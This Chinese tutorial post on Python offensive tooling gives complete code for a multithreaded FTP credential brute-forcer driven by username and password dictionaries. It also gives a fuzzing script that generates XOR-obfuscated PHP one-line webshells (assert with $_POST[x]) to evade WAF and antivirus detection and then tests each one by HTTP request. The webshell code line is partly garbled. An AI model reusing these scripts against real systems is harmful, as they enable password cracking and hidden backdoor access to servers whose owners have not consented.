Python安全开发——多线程Fuzz&Waf 异或免杀&爆破

1.概述:

知识点:
协议模块使用,Request 爬虫技术,简易多线程技术,编码技术,Bypass 后门技术

目的:
掌握利用强大的模块实现各种协议连接操作(爆破或利用等),配合 Fuzz 吊打 WAF 等
Python安全开发——多线程Fuzz&Waf 异或免杀&爆破_第1张图片

2.简单多线程技术、FTP 模块实现协议爆破脚本:

 queue,threading 模块使用、ftplib 模块使用:遍历用户及密码字典、尝试连接执行命令判断

ftp模块使用:https://www.cnblogs.com/xiao-apple36/p/9675185.html
https://www.cnblogs.com/j6-2/p/4645490.html

多线程详解:https://blog.csdn.net/briblue/article/details/85101144

拿本地搭建的ftp服务擦尝试简单登录:
Python安全开发——多线程Fuzz&Waf 异或免杀&爆破_第2张图片
设置爆破(循环遍历读取字典):
Python安全开发——多线程Fuzz&Waf 异或免杀&爆破_第3张图片
异常处理(因为登录错误会终止脚本,需要加上以持续执行)
Python安全开发——多线程Fuzz&Waf 异或免杀&爆破_第4张图片
提高速度,增加多线程:
Python安全开发——多线程Fuzz&Waf 异或免杀&爆破_第5张图片Python安全开发——多线程Fuzz&Waf 异或免杀&爆破_第6张图片
完整代码:

#coding:utf-8
#Author:小迪 QQ471656814
#Blog:http://www.xiaodi8.com
import ftplib
import threading
import queue
import sys

#利用Python开发其他协议爆破脚本
def ftp_check():
    while not q.empty():
        dict=q.get()
        dict=dict.split('|')
        username=dict[0]
        password=dict[1]
        ftp=ftplib.FTP()
        try:
            ftp.connect('192.168.0.101',21)
            ftp.login(username,password)
            ftp.retrlines('list')
            ftp.close()
            print('success|'+username+'|'+password)
        except ftplib.all_errors:
            print('failed|'+username+'|'+password)
            ftp.close()
            pass


if __name__ == '__main__':
    print("python ftp_burte.py user.txt pass.txt 10")
    user_file=sys.argv[1]
    pass_file = sys.argv[2]
    thread_x=sys.argv[3]
    q=queue.Queue()
    for username in open(user_file):
        for password in open(pass_file):
            username = username.replace('\n', '')
            password = password.replace('\n', '')
            diclist=username+'|'+password
            q.put(diclist)
    for x in range(int(thread_x)):
        t=threading.Thread(target=ftp_check)
        t.start()

3.配合 Fuzz 实现免杀异或 Shell 脚本:

异或就是将两个字符转为ascii码再转为二进制后见进行异或运算,得到另一个字符,比如,利用py实现批量fuzz:

批量生成、批量访问:

思路:不用看二进制的异或计算,嵌套if循环列出所有 ASCII 值<127 的组合(127x127),将这些组合 放入一句话木马中批量生成,然后写批量请求脚本测试哪个 payload 成功,发起 requests 请求, 看返回内容。

同理,也可以异或其他字符,就是学过的无字符数字命令执行的知识。

其他思路:https://www.cnblogs.com/hackmang/p/11806497.html
https://blog.csdn.net/qq_41617034/article/details/104441032

完整代码:

import requests
import time
import threading,queue

def string():
    while not q.empty():
        filename=q.get()
        url = 'http://127.0.0.1:8081/x/' + filename
        datas = {
            'x': 'phpinfo();'
        }
        result = requests.post(url, data=datas).content.decode('utf-8')
        if 'XIAODI-PC' in result:
            print('check->'+filename+'->ok')
        else:
            print('check->'+filename+'->no')
        time.sleep(1)


def shell_test_check():
    url='http://127.0.0.1:8081/x/33xd64.php'
    datas={
        'x':'phpinfo();'
    }
    result=requests.post(url,data=datas).content.decode('utf-8')
    print(result)
    if 'XIAODI-PC' in result:
        print('ok')

if __name__ == '__main__':
    q=queue.Queue()
    for i in range(33, 127):
        for ii in range(33, 127):
            payload = "'" + chr(i) + "'" + '^' + "'" + chr(ii) + "'"
            code = " + payload + ").'ssert';$a($_POST[x]);?>"
            filename = str(i) + 'xd' + str(ii) + '.php'
            q.put(filename)
            with open('D:/phpstudy/PHPTutorial/WWW/x/' + filename, 'a') as f:
                f.write(code)
                f.close()
                print('Fuzz文件生成成功')
    for x in range(20):
        t=threading.Thread(target=string)
        t.start()

你可能感兴趣的:(Python,安全,python,开发语言)